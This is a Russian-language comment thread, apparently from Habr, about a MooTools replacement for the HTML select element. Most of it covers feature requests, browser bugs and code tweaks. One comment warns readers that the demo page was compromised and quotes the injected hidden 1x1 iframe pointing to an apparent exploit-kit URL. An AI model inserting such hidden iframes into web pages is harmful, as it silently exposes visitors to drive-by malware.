Bonch Sep 20 2008 at 22:33

Замена стандартного select с использованием Mootools

2 min

4.1K

MooTools*

+42

Comments 76

XaocCPS Sep 20 2008 at 22:50

автор цены бы вам и вашему компоненту не было, если бы ваш select еще обладал включаемым режимом text, для ввода произвольного текста
я бы враз перешел на ваш вариант
но и так — просто отлично!

Bonch Sep 20 2008 at 23:13

Как опцию — могу сделать. Только надо подумать, как технически это реализовать.
Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)

XaocCPS Sep 20 2008 at 23:16

как вариант иногда приходится перечислять не весь список значений, просто потому что он очень большой по определению

скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
здесь очень пригодится возможность пользователю уточнить список и ввести данные руками

это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала

Bonch Sep 20 2008 at 23:21

То есть нужно:

1. Режим ввода текста
2. Колбэк, который вызывается при вводе каждого символа
3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста

еще?

XaocCPS Sep 20 2008 at 23:24

мне достаточно только 1 пункта
остальное я бы делал сам
калбэк на нажатие кнопок мне не нужен, не вижу пока применения
и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок

Bonch Sep 20 2008 at 23:35

В принципе да, пунктом 4 можно все решить.
Но только вот не хотелось бы добавлять ненужную функциональность в этот же класс.

Пожалуй, расширю этот класс другим, и обзову его как нибудь типа CustomSelectText.

XaocCPS Sep 20 2008 at 23:37

согласный
вы не против, если потом я в меру своих способностей попытаюсь перенести элемент в jQuery (если получится)?

Bonch Sep 21 2008 at 01:17

Нет конечно)

gAmUssA Sep 21 2008 at 12:04

и пожалуйста отпишитесь о результатах

ognevsky Sep 21 2008 at 14:35

даже в стандартном элементе (на странице с примером) нет режима ввода текста, но если список открыть на набрать первую (пырвые) буквы слова, оно выделится. При больших списках это становится критично, а при малых — можно обойтись radio button'ом

но компонент, конечно, знатный получился =) Спасибо)

Bonch Sep 21 2008 at 20:34

> но если список открыть на набрать первую (пырвые) буквы слова, оно выделится

Добавил данную функциональность

Bonch Sep 20 2008 at 23:17

Ну и конечно же что при вводе текста должно/может происходить? (тоже нужны варианты).

VasilioRuzanni Sep 21 2008 at 08:39

Такой контрол называется ComboBox ;)

XaocCPS Sep 21 2008 at 08:50

ну не все же с Delphi знакомы :)

VasilioRuzanni Sep 21 2008 at 08:57

Ну не обязательно Delphi (сам не знаком с ним на практике).
И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.

XaocCPS Sep 21 2008 at 09:01

да, вы правы
просто забыл что в Windows Forms он тоже называется ComboBox
в asp.net его нет, select называется DropDownList

VasilioRuzanni Sep 21 2008 at 09:07

Да, все верно, в ASP.NET это DropDown, а ComboBox у них там в WinForms, WPF, MS Office Controls, может еще где-то…

ognevsky Sep 22 2008 at 01:00

Ну у ComboBox было свойство, названия уже не вспомню, как раз от его значения зависело, можно писать свои варианты, или нельзя. То бишь ComboBox мог быть разным =)

tvrbo Sep 21 2008 at 14:39

есть готовое решение тут:

tvrbo Sep 21 2008 at 14:40

готовое решение комбобокса есть тут:
dhtmlx.com/docs/products/dhtmlxCombo/index.shtml

Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).

XaocCPS Sep 21 2008 at 14:46

платное для коммерческого использования
не айс, хотя это то что надо
спасибо

tvrbo Sep 21 2008 at 14:55

знаю что не айс, но если срочно нужно, то может и пригодиться

будем надейтся автор топика напишет CustomSelectText

Bonch Sep 21 2008 at 17:44

> будем надейтся автор топика напишет CustomSelectText
Над этим уже работаю)

Bonch Sep 21 2008 at 17:43

За этот пример спасибо!
Всю ночь вчера сидел ковырялся с editable mode для своего комбобокса, а тут можно и посмотреть, как должен себя вести комбобокс в таких случаях.

ish Sep 20 2008 at 23:12

насчет стандартного поведения, у меня так не закрывается при повторном клике на нем. Убунта + firefox3

Bonch Sep 20 2008 at 23:15

Спасибо — учел. Исправлю обязательно.

Bonch Sep 20 2008 at 23:26

Уже исправил)

elfiki Sep 20 2008 at 23:43

В стандартном селекте можно набирать первую букву и будет переходить фокус сразу…

magmoro Sep 21 2008 at 00:28

также стандартный реагирует на page up, page down и alt+arrow. А также изменяет внешний вид при нажатии.

Bonch Sep 21 2008 at 01:30

Спасибо, учёл.

Bonch Sep 21 2008 at 01:55

Исправил. Сейчас реагирует на page up, page down и alt+arrow, а так же на home и end.

magmoro Sep 21 2008 at 00:30

в mootools 1.2 не надо писать new Event(e), e уже расширен спомощью new Event, это происходит автоматически.

magmoro Sep 21 2008 at 00:36

вместо
var li = new Element('li');
li.set('text', option.get('text') );
li.inject( this.selectbox );
li.setProperty('index', option.index);
можно писать
var li = new Element('li')
.set('text', option.get('text') )
.inject( this.selectbox )
.setProperty('index', option.index);

magmoro Sep 21 2008 at 00:38

вместо
this.currentElement = li;
this.currentElement.addClass('selected');
можно
this.currentElement=li.addClass('selected');

Bonch Sep 21 2008 at 01:25

Внёс правки в код

Bonch Sep 21 2008 at 01:18

Спасибо, уберу это. Привык к 1.1)

DeMx Sep 21 2008 at 02:56

Ура, а то NiceForms как-то подзаебал уже своими лагами. ^_^

-4

Bonch Sep 21 2008 at 03:35

Ну у меня же только select, а не все элементы формы)

VasilioRuzanni Sep 21 2008 at 08:40

Используйте ExtJS

silentroach Sep 21 2008 at 03:33

на mac-styled select'е видны непрозрачные краешки, надо бы поправить =)

Bonch Sep 21 2008 at 05:04

Поправлю картинки. Под рукой просто нормального редактора графики нет)

madara Sep 21 2008 at 03:38

В ie6 обычные комбо-боксы, стилей нет.

Bonch Sep 21 2008 at 05:00

Понятно, спасибо. Значит там есть ошибки. Доберусь до компа с IE6 — все поправлю.

RuslanDenisenko Sep 21 2008 at 11:59

Поставь IETester!

magmoro Sep 21 2008 at 08:44

в ie6 пока не уберешь русские коменты или не сохранишь в utf-8 custom_select.js не работало. Также надо добавить в a.aqua overflow: hidden

Zitrix Sep 21 2008 at 03:48

респект за правильный курсор :) честно респект, т.к. в рунете общепринято «мощно жмакнуть — нужен палец».
А кастомный скролл ожидается?

Bonch Sep 21 2008 at 05:02

Да, кастомный скролл будет обязательно. Сейчас уберу сначала все косяки, потестирую и займусь кастомным скроллом.

akmute Sep 21 2008 at 10:24

На данный момент управление стрелками тоже не работает (FF 2.0.16).

magmoro Sep 21 2008 at 12:30

у меня работает (ff 2.0.0.16)

UFO just landed and posted this here

Ladygin Sep 21 2008 at 12:29

Очень нужная штука, респект автору!

Aist Sep 21 2008 at 13:31

Нам пришло письмо от внимательного пользователя, позволю себе привести из него цитату:

Я являюсь постоянным посетителем хабра (в качестве читателя). Сегодня я случайно обнаружил троян в ссылке одного из авторов на прилагаемое демо. Статья называется «Замена стандартного select с использованием Mootools», находится на данный момент второй по счету на индексе. В тексте статьи есть ссылка на демо, в которой помимо кода примера к статье имеется след. строчка:
<iframe src='http://light-money.cn/spl/index.php' width='1' height='1' style='visibility: hidden;'></iframe
Обнаружено было случайно, при желании изучить хтмл-код приведенный автором. Касперский троян не обнаружил, хотя обновления установлены последние. Хотел зарегистироваться и предупредить пользователей, но увы — регистрация оказалась недоступной. Убедительная просьба принять меры по удалению трояна или статьи во избежании заражения компьютеров пользователей.

Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!

magmoro Sep 21 2008 at 13:38

на этом сайте imaker.ru/ на каждой странице такой iframe.

Bonch Sep 21 2008 at 17:41

Почистил от ифреймов. Интересно, откуда такое заражение появляется? Кто-нибудь сталкивался?

Я этим сайтом не один пользуюсь и у меня подозрение, что кто-то из моих коллег периодически заражает хостинг, заходя туда по ftp).

xsash Sep 21 2008 at 15:30

скорее всего был сплоит, сейчас страница отдает 404

smok Sep 21 2008 at 13:33

Ой

Uratsakidogi Sep 21 2008 at 14:13

В опере 9.25 у второго кастомного селекта не появляется скролл, а не влезшие пункты просто выпадают. Для сравнения, скрин из фф 3.
В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.

Bonch Sep 21 2008 at 20:52

Можете куда-нибудь выложить этот standalone IE? Я бы под него поправил косяки.

NamelessOne Sep 21 2008 at 22:11

Поставьте MultipleIE — неплохая, в общем, штука

johnbl4ck Sep 21 2008 at 20:33

отлично, юзал раньше elSelect.js, но он не обрабатывал события, чуть подправил чтобы эмулировал onChange, но ваш явно лучше. плюсанул в топик, в карму почему-то не получилось.
желаю багфиксов и дальнейшего развития!

feedbee Sep 21 2008 at 20:56

Bonch, Ваш сайт в данный момено ломают. В демке над примером виден список всех файлов вашего хостинга.

Bonch Sep 21 2008 at 22:25

Это не ломают, это я, дурак, забыл лог выключить обработанных файлов (робот удаляет вражеские iframe, пока так сделал:) ).

Bonch Sep 21 2008 at 22:34

Вопрос ко всем — я тут над алгоритмом думаю, пока ничего хорошего не придумал, может общественность поможет?

В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.

Как это сделать наиболее легким путем?